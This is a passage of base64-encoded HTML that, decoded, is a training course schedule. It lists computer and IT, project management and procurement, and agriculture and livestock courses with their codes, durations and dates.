MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+QWR2YW5jZWQgQ29tcHV0ZXIgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmll czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVsZWN0cm9uaWMgRGF0YSBh bmQgcmVjb3JkcyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBX ZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAx MiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIgUmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2Vj cmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9j dCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQg b2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PC90 Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4g c3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fu cy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxi ciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBz YW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkNPTVBV VEVSICZhbXA7IElORk9STUFUSU9OIFRFQ0hOT0xPR1kgQ09VUlNFUzwvc3Ryb25nPjwvcD48 dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRo PSI5MzgiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJp YWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9keT48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q0lUPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0cm9uZz48 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ryb25nPjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAxPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0ZXIgYW5kIEluZm9ybWF0 aW9uIFRlY2hub2xvZ3kgZm9yIE1hbmFnZXJzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8g MDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+Q29tcHV0ZXIgYW5kIFNvZnR3YXJlIE1hbmFnZW1lbnQgU2tpbGxzIERldmVsb3Bt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAw NCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAw Mzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXB1dGVyIGFuZCBJ bmZvcm1hdGlvbiBTeXN0ZW0gTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1h ciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyaXplZCBGaW5hbmNpYWwgTWFuYWdlbWVudCBmb3IgQWNjb3Vu dGFudHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTgg Tm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5SZWNvcmQgYW5kIERhdGEg TWFuYWdlbWVudCAoIENvbXB1dGVyaXplZCBTeXN0ZW1zICk8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wMiAtIDA2 IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBDb21wdXRlciBQcm9ncmFtbWUgRm9yIEV4ZWN1dGlv biBBc3Npc3RhbnRzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4g LyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0 ZXIgYW5kIERhdGUgU2VjdXJpdHkgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0gMDYgTWF5 IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyIEF1ZGl0aW5nIGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIg UmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAx NSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgb2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1l IGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgSW5mb3JtYXRpb24gU3lzdGVtIGZvciBNYW5hZ2VyczwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0g MDYgTWF5IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PC90Ym9keT48 L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxiciBzdHls ZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNl cmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPlBST0pFQ1QgTUFO QUdFTUVOVCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRk aW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9yOiByZ2Io MzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXpl OiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5QTTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkNvbXB1dGVyaXplZCBQcm9qZWN0IE1hbmFnZW1lbnQgKCBDUE0pPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBQbGFubmluZyBhbmQgSW1wbGVtZW50 YXRpb24gKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1 IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25pdG9yaW5nICZhbXA7IEV2YWx1YXRpb24g KFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25p dG9yaW5nICZhbXA7IEV2YWx1YXRpb24gKFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIg LyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Nb25pdG9yaW5nIGFuZCBFdmFsdWF0aW9uIG9mIENvbW11bml0eSBQcm9qZWN0 cyAoTUVDUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAz IC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5QYXJ0aWNpcGF0 b3J5IFByb2plY3QgUGxhbm5pbmcgYW5kIE1hbmFnZW1lbnQgKFBQUE0pPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBBbmFseXNpcyBhbmQgRGVzaWduIFBy b2dyYW1tZSAoUEFEUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAv IDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2 YW5jZWQgUHJvamVjdCBNYW5hZ2VtZW50IChBUE0pPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmVi IC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+UHJvamVjdCBQcm9wb3NhbCB3cml0aW5nIGFuZCBmdW5kIHJhaXNpbmc8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgUHJvY3VyZW1lbnQg YW5kIFN0b3JlIG1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdl ZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEy IEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMTE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5J bnRlcm5hdGlvbmFsIGFuZCBJbnRlcm5hbCBQcm9jdXJlbWVudCBmb3IgRG9ub3IgZnVuZGVk PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9j dDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvY3VyZW1lbnQgJmFtcDsg TWF0ZXJpYWxzIE1hbmFnZW1lbnQgKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBw eDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNw Ozwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0 cm9uZz5BR1JJQ1VMVFVSRSBBTkQgQUdSTy1CVUlTTkVTUyBDT1VSU0VTPC9zdHJvbmc+PC9w Pjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lk dGg9Ijk0MCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBh cmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5 Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5BQzwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFncmlidXNpbmVzcyBNYW5hZ2Vt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMDggSmFuIC8gMDkgLSAxMyBNYXkgLyAyNSAtIDI5IEp1 bDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1bHR1cmFsIFNjaWVu Y2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MTEgLSAyMiBKYW4gLyAxNSAtIDI2IEF1ZyAvIDE5Jm5ic3A7IC0g MzAgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+U3VzdGFpbmFibGUg QWdyaWN1bHR1cmU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4zIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAyMiBKYW4gLyAwNCAtIDIyIEp1bCAvIDA3 IC0gMjUgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZ3JpY3VsdHVy ZSBFZHVjYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUgSmFuIC0gMDUgRmViIC8gMDQgLSAxNSBKdWwg LyAxMCAtIDIxIE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1 bHR1cmFsIFJlc291cmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xNSAtIDE5IEZlYiAvIDIw IC0gMjQgSnVuIC8gMDEgLSAwNSBBdWc8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPk5hdHVyYWwgUmVzb3VyY2VzIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAw NCBNYXIgLyAyNSAtIDI5IEp1bCZuYnNwOyAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5MaXZlc3RvY2sgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5 IEZlYiAtIDA0IE1hciAvIDA2IC0gMTAgSnVuIC8gMjQgLSAyOCBPY3Q8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPkRhaXJ5IE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUg SmFuIC0gMDUgRmViIC8gMjUgSnVseSAtIDA1IEF1ZyAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+ PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIEJyZWVkaW5nIE1hbmFnZW1l bnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gNyBNYXIgLyAyNiBNYXkgLSAwNiBKdW4gLyAxMyAt IDI0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIE51dHJp dGlvbiBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcg LyAwMyAtIDE0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDExPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UG91bHRy eSBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAx IC0gMDUgQXVnPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBw eDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBm b250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93 